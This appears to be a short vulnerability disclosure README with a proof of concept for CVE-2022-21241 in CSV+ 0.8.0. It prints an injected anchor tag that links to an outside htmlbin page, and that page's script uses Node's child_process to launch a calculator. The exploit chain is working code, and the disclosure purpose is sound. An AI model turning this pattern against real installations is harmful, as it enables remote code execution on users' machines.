nanaao/csv-plus_vulnerability👻 [PoC] CSV+ 0.8.0 - Arbitrary Code Execution (CVE-2022-21241)
👻 2-Click Arbitrary Code Execution Vulnerability.
CVE-2022-21241
⚠
This PoC was created to alert users and investigate vulnerabilities in their own CSV+, and is prohibited to be used for attacks.
The following versions are vulnerable.
Attackers can execute arbitrary code by using the Node.js functionality. They will place the malicious js code on some site and link it from a-tags with the HTML injection vulnerability in CSV+.
<a href='https://electronooooo.htmlbin.net/xsscalc.html'>click me 👻</a>
https://electronooooo.htmlbin.net/xsscalc.html is a temporary link.
<!DOCTYPE html>
<html>
<head>
<script>
var cmd = "calc";
require("child_process").exec(cmd);
</script>
</head>
<body>
Hi :)
</body>
</html>